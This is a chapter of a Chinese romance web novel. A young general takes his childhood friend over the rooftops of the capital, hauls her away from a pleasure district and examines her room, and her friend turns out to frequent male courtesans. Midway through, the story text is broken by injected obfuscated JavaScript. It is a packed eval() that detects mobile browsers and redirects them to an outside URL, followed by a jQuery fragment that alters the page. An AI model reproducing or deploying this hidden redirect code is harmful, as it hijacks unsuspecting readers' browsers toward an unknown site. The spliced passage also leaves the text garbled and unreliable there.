8. 第 8 章

作品:《将军家的小青梅

    舒兰汀一时没明白他在说什么,睁着眼睛“啊?”了一声。


    萧朔将她在林子里说的话重复给她听,舒兰汀才听懂了,哇道:“你将我说的话记得这样清楚呀。”


    萧朔道:“你有话说话……”


    舒兰汀扑去抱住他胳膊,眼睛弯的像新月一样,扑闪扑闪的。


    萧朔两根手指戳在她脑门上,将她往远了推,“别黏。没就算了,还要不要飞了?”


    “要!”变成双手圈住他脖子,爬上他背,高兴的“吁”了一声,在萧将军那矫健有力的臀肌上一拍,“飞!”


    萧朔:“…………”


    萧大将军本欲发作,想想没有旁人看见,算了。


    梁都只在朱雀门内设有宵禁,之外灯火通明,城隍庙附近人头攒动,商贩叫卖声不绝于耳,摘星阁内才子佳人,有醉了的书生正在墙上作画,一条护城河流通半城,映照着点点星光。


    风从远处来,带着细碎的人声、笑声,卷起二人的衣角和发丝,又飞去远方。


    二人坐在摘星阁顶上,舒兰汀托着下巴,看那下面书生的画,画已作毕,是一副千里江山,书生卧倒,醉的不省人事,而头顶是银河九霄,天地尽收眼下。


    舒兰汀羡慕道:“轻功这样厉害,怎么我就学不会,师父伯伯教你的时候明明我也在呢。”


    “这话说完,你在什么?”


    “唔……就是在呀。”


    在睡觉、在剥松子、在打哈欠、在斗蛐蛐等。


    舒兰汀自我开解道:“罢了,人各有所长,你是练武奇才,我和你比什么呢,虽然飞不上去,但我爬树比别人快多了。”


    萧朔道:“你想的真开。”


    舒兰汀:“还好还好。”


    萧朔也懒得说她。任何功夫都只是技法,要能成才,靠的是冬练三九夏练三伏,有一身深厚内功,否则纵有名师也白搭。


    舒兰汀侧正盯着萧朔看,忽然伸手,在他耳边一抹,又凑近去看,“咦你耳朵?”


    是在屋顶上,萧朔没乱躲,让她捏了耳朵,有一些痒痒,拧眉道:“别乱摸。”


    他耳上有一个豁口,是战场上被敌方一箭射过来时擦中的,躲的不及时,外侧耳郭有小半割裂,军医缝合后留了疤痕。


    又不算什么大伤,不值得去说。


    舒兰汀却静了静,兴许想到了,如果再偏一点,脑袋就没了。


    “……还写信说战无不胜,”她小声道,“吹牛。”


    萧朔向后撑住身子,抬头朝向月亮,都城的月亮没有北境大,显得天很高的样子,他悠悠道:“自我带兵以来,陆续经了大小一百来场战役,我少有输的,小部落听说是我来了立刻逃跑,帐子里的羊奶都还是热的,我可没有骗人。”


    可不输,不代表不死人、不受伤,舒兰汀去抓他的手腕,问:“还有哪里受了伤?”


    萧朔抽了手出来,斜斜睨着她,“你那三脚猫的医术想给我治伤不成。”


    舒兰汀道:“你让我看看!”


    萧朔啧声:“还等你来看?晚了,伤都好了。”


    舒兰汀抢不到他的手摸脉,怕推搡起来要掉下去,悻悻作罢,想了一想,又问:“那两族都已投降了么,不会再打了?”


    “差不多吧。”


    “差不多是差了一点什么?”


    萧朔道:“总是会差一点的。”


    舒兰汀瞧着他,过了会儿纳闷道:“你好像有点不一样了。”


    “那是自然,”萧朔挑了挑眉,“我如今可是大将军了。”


    舒兰汀捧场,鼓掌啪啪啪。


    萧朔故意道:“大将军可是很大的官,去了哪都有人奉承,若给你家下个帖子的话,你爹也要客客气气的来迎我。”


    舒兰汀心说这有什么威风的我爹那么窝囊对谁都客气,“喔。”


    “尽管如此,本将军还抽出时间来特意带你玩,你该对我说什么?”


    懂了!舒兰汀利落叫道:“好大儿!”


    萧朔作势要敲她脑门,舒兰汀哈哈笑着低头躲,钻到了他臂弯下,“好了好了我错了。”


    萧朔捏住了她后颈皮,还有一只手架着她胳膊,“要对我说什么?”


    “……不说!”


    两人闹起一阵,底下聚会的书生们正好散场,勾肩搭背、跌跌撞撞的下楼,有人听见动静抬头敲过来,只见到了一抹影子,从月亮中间掠过去,此人蘸着醉意叫道:“嫦娥玉兔!”


    兔起鹘落,萧朔带着舒兰汀落到旁边更矮一些的房屋顶上。


    “嫦娥,哈哈哈哈!”舒兰汀指着他笑的前仰后合。


    萧朔:“玉兔有什么意见吗?”


    舒兰汀:“嘻嘻,可爱!”


    萧朔无语,偏过头去笑了起来。


    “你还要去哪么?不去就……”


    “要!想去升平坊!”


    升平坊是一沿河巷子,许多家都向外开了窗,挂了红色绸带,河上有小船,有姑娘倚在船边,身条曼妙,没骨头似的岸边招手,叫着郎君。


    脂粉香气冲鼻,叫人一闻就知道是何处所。萧朔不知道她竟然是要来这样的地方,来了便立刻要走,被舒兰汀拽着不放,“来都来了,我还从没来过,你让我瞧瞧新鲜。”


    萧朔骂道:“舒兰汀,亏你是个姑娘家,你知不知道你如今几岁了?”


    “我当然知道我几岁了,你不知道你几岁吗,什么问题嘛,别板着脸了,我们往那边去!”


    舒兰汀拖起萧朔,好似在拔河,吭哧吭哧的要往前走,尽管收效见微。


    但光在此处,已经能看见许多,毕竟视野很好,能看到屋内有姑娘在唱歌跳舞弹琴等,还有的是两人依偎在一起,脸贴脸的说话,有些船在摇晃,隔着纱从外往里瞧,有一个人覆在另一个上头,不知做些什么。


    舒兰汀知道那是话本里写的阴阳交合之事,脖子伸了出去欲要看的再仔细些,但才一眼就被按了回来,只听到一点点动静。


    萧朔捂了她眼睛又捂耳朵,将她团吧团吧扛在肩上,脚尖点地,嗖一下飞了出去,轻巧的跃过数处建筑,到了另一条巷,才落了下来,落在了地面。


    因飞的太快,还翻了个身,舒兰汀被整的头晕乎乎,落地脚软。


    拿萧朔当了扶手,他手臂紧绷绷的,像石头一般。


    “你好没意思!”才缓过来,舒兰汀就冲萧朔汪汪叫唤,“不看就不看,还转个圈,弄得我头好晕!”


    萧朔:“还能更晕你信不信。”


    舒兰汀下意识往后一退,摇摇脑袋,表示不想了。


    萧朔去拉她,“是谁教你……”


    舒兰汀却正好朝四处瞧了去。


    这儿没有升平巷那样花红柳绿、处处红绸,来往的人不多、却也有一些,一处小院门口正有个瘦高个的“男子”出来,身后一人一路送他到外面路上,柔情蜜意的留其过夜。


    “男子”又塞了几枚碎银到他怀中,摸了摸他脸颊,说改日再来。


    这客人虽然身量高挑,但嗓音就是个女子,还是个特别眼熟的女子。


    舒兰汀眼睛睁大。


    李環走出几步,留在外头的侍女跟了上来,她忽觉有些不对,转头朝后方看了看。


    看见个背影,高大挺拔,以她流连花丛的老练目光来看,可是个脱衣有肉的好身材,那腰是腰、腿是腿的,啧……


    那处是两人,男人挡住了一个姑娘,这点从那双缀了珍珠的鞋可以看出。


    李環心想南院何时有了这样的货色,还有那姑娘竟然装都不换大摇大摆的来,摇了摇头。


    等李環走了,舒兰汀才从萧朔身边探出头来,好奇上升到了极点。


    于是……


    期待已久的大板栗终于落在她脑门。


    手很重,舒兰汀捂着脑门,嗷的一声叫了出来。


    萧朔想起自己回京游街那日,茶楼中,既有李環,又有舒兰汀,因此不做他想,谁教舒兰汀的,已经知道了。


    大梁民风开放,礼教没有前朝那样严格,公主郡主养几个面首不是稀罕事,还有人给萧朔的娘送过美男子,他知道舒兰汀性子天真烂漫,对此种事情应是一窍不通,但若好奇跟风再发展下去,可不好说,因此刻意对她冷了脸,想要教训她。


    舒兰汀当真生气了,明明是他叫自己出来玩!


    她叫道:“你自己走吧,我回去找李環玩去!”


    她真的回头往南院去。


    天那样应景,还飘了几点小雨下来,舒兰汀要找地方躲雨,往最近的遮蔽物去,跑了没几步,被人拦了,长臂揽住她腰,将她一把扛了起来。


    扛……?


    天旋地转,舒兰汀发现自己像个沙包一样在萧朔肩膀上。


    “喂——!”


    到了舒府,连只野猫都没惊起,萧朔将舒兰汀扔进了她自己院子里。


    借着明亮的月光看她,她额头已鼓起来个包。


    萧朔纳闷,他又没使力,脸皮那么老厚的小霸王怎么是个皮薄的?


    舒兰汀道:“我当真生气了。”


    萧朔却不理她,推门进她的卧室,点了烛灯,很仔细的四下都看了一圈,没有见到什么不好的东西,想应该没人骗了她去,轻轻的松一口气。


    桌上盖着个话本子,他也拿起来看,舒兰汀上次看到了小白龙和朱刀客亲嘴,特意折了页,好回味一番,所以他一翻就翻到了这儿。


    舒兰汀来抢,他仗着自己高,长臂一伸,既让她抢不走,自己还能继续看。


    好嘛,爱看是吧,舒兰汀不抢了,圈起臂来坐在桌上,看着他看。


    萧朔果然眉心微拧,面色渐渐古怪。


    他合了本子,朝舒兰汀看来,舒兰汀:“喜欢吗?喜欢送你几本,每周出新篇我都带你去买如何?”


    萧朔:“……”


    朱刀客和小白龙这两位江湖大侠,一个神秘冷酷杀手,一个俊朗飘逸少年,都是好男儿。


    萧朔谢绝,将话本子扔回给她,舒兰汀接了本子,瞪他一眼,爱护的掸去根本不存在的灰尘和褶皱,爱惜的放进柜子里。


    那柜子里放了四书五经等等经典必读,她的《双侠传》塞进了《女德》的封皮中。


    剩下那些是什么,几乎不需要想了。


    萧朔转过了念头来,到了升平坊她还嚷嚷着要“往那边走”是要去哪,可不就是要去看看南风么。


    ……这三年她究竟都培养了些什么兴趣爱好?


    这样想,便这样问了出来。


    舒兰汀道:“那可多了,我在京三年,很吃得开,许多人带我玩,说出来你这个土老帽也不会懂的。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298930|182546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    萧朔走近了她,舒兰汀还坐在桌上,腿没着地,双手环抱胸前,一株树枝斜影伴着明月照了进来,她将脸颊鼓着,故意做出本小姐在哪都混得开的样子。


    萧朔将头低垂,声音轻轻的:“送你的玉在哪?”


    “藏在……告诉你干嘛。”


    “很吃得开的舒二小姐,怎么闺房中什么贵重、好玩的东西都没有,一只小小玉佩要藏,爱看的话本都要用别的书来装?”


    舒兰汀气闷,房中有什么都被他看了,无法反驳,“……别揭短啊告诉你。”


    她要跳下桌子,却被萧朔抵住肩膀,人也拦在她前方。


    舒兰汀抬起头来,略懵的朝他看,他的轮廓在昏暗之处更加英气了,眉骨和鼻梁笔挺的,在脸上切出山壑一样的阴影来,经历过生死厮杀,少年的青涩傲慢已尽数磨去了,换成了沉稳敏锐,那一双眼睛像湖一样,很认真的瞧着她。


    “我掂着你像瘦了有几乎二十多斤是不是?”


    舒兰汀有点不好意思,拿手指比了比,还要多一点。


    很轻的一声叹,散逸在夜里。


    萧朔用拇指按着她额头,“给你揉一揉,揉开了明日不会肿。”


    突然对我这么好?舒兰汀眨眼不解,并觉得他按的自己痒痒的,于是缩起脖子躲。


    萧朔竟也没有动了,问她:“按重了吗?”


    “……唔,嗯,”舒兰汀莫名其妙有点不好意思,顺着他话点头。


    “我再轻一些,疼了你说。”


    ……


    夜色微凉,烛火摇曳,一只野猫在墙头扯了懒腰。


    舒兰汀说困就困,和萧朔说着话打起了瞌睡,萧朔问她要不要去睡,她打着哈欠点头,脱了外衣栽到床上,萧朔弯腰捡起衣服,给她叠好了放在边上。


    他推门要走,动静牵出了舒兰汀最后一丝清醒,“你要走了么?”


    “嗯,你睡吧,我快要上朝了。”


    “这么快,”舒兰汀嘟囔了声,爬着坐了起来,萧朔怕她跌下来,又走过去,舒兰汀坐在床沿,揉揉眼睛说:“大将军带我玩,所以我要说,”


    “谢谢阿朔哥哥。”


    -


    萧朔回到军务府中,天是黑的,但要上朝的人心都是凉的,张、卢两将都已换好了朝服,没找到萧朔,觉得他不会耽误上朝,就在原处打着瞌睡等。


    萧朔经过他们,他们都没醒,被亲卫拍了拍,才一咕噜起来,发现他是彻夜未归,还穿着昨夜衣服,以为发生了什么,速速跟了上去。


    正见着萧朔打开一只小小白色瓷瓶,倒出两颗药丸来,未就水直接吞服了。


    二人更面色不好,“你动手了?昨夜发生了什么。”


    “是有外族奸细混了进来?”


    “还是有刺客?”


    “死了多少人?”


    萧朔:“……”


    他摇了头,轻咳一声,不好说自己只是飞了半个都城,“都没有,不要草木皆兵,只是略动了些功力。今夜昭琅公主那头有没有什么动静?”


    “没有,始终住在别府之中,未与什么人联系过,听说见了舒大学士后,一直在院里吹冷风。”


    “好,”萧朔道,“请宫里的人帮帮忙,叫她与舒大学士多聚一聚。”


    “好。”


    “是何用意?”二人揣测许多。


    没有深意,给舒大学士和夫人添些麻烦而已,萧朔深沉道:“做好事。”


    上朝要来不及了,两人退出去,萧朔赶快换朝服。


    换衣时军医听到风声进了来,趁着间隙给他把脉,摸了一阵,觉得还好,没有开什么药,口头叮嘱说:“将军,余毒未清,只是用针封了起来,动用内力便容易引动毒药,咱们还没找到解药,您务必保重身子。”


    “知道,我有分寸。”


    -


    舒兰汀又是睡一整天来补觉,竟没人来招惹她、管着她,她先前被罚抄女戒上百遍,一直拖着没抄,她娘也是忘了这事似的,除了每日按例叫她去房中汇报今日学了什么之外,都没有提别的。


    汇报时,舒夫人撑着脑袋,丫鬟揉着她太阳穴,她一副疲惫至极的模样。


    简单听了,没为难舒兰汀,看她一眼,又闭上眼,打发她走了。


    舒兰汀边走抬头,看天上是不是下红雨、太阳是不是打西边出来了!


    府里头管制松了,舒兰汀便好摸出去玩,李環说猎到一只野味,拿去京中最好的酒楼里现杀现做,叫了姐妹们一起来吃,舒兰汀准时到了,下了轿子,踏入楼中。


    李環笑着开口要叫她,眼睛往下落,舒兰汀鞋上珍珠的光反射进了她眼睛里。


    李環:“!”


    舒兰汀心说糟了,将脚收回门槛后,却已来不及,电光火石间,李環把什么都想通了,那“腰是腰、腿是腿”分明是……!


    “舒!兰!汀!你和萧——”


    其他姑娘也到了,走过来,“汀汀,環儿。”


    舒兰汀拼命做出封嘴的手势,李環将话说到一半,吞回去,把自己弄得狂咳起来,整张脸都呛的红了。


    大家忙去关怀她,倒了水给她喝,苏寒玉嗔道:“怎么说着话能呛着自己呀你!”


    李環:“……”她眼刀子刮向舒兰汀。


    舒兰汀毫不心虚:“就是!”